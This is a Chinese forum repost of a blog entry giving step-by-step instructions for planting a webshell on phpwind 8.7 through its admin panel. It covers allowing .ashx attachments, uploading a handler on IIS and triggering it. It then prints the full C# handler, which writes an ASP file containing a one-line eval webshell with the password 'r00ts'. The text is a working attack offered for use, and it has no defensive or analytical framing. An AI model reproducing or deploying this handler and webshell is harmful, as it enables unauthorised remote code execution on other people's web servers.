phpwind 8.7 后台拿shell
4277 点击·0 回帖
![]() | ![]() | |
![]() | 来源:怪蜀黍`s Blog
phpwind 8.7 后台拿shell 首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小 群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx 发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整 然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx 打开之后空白 会在目录底下生成r00ts.asp 密码r00ts 下面是代码: <%@ webHandler Language="C#"Class="Handler" %> using System; using System.Web; using System.IO; public class Handler : IHttpHandler { public void ProcessRequest (HttpContext context) { context.Response.ContentType = "text/plain"; StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp")); file1.Write("<%eval request(\"r00ts\")%>"); file1.Flush(); file1.Close(); } public bool IsReusable { get { return false; } } } | |
![]() | ![]() |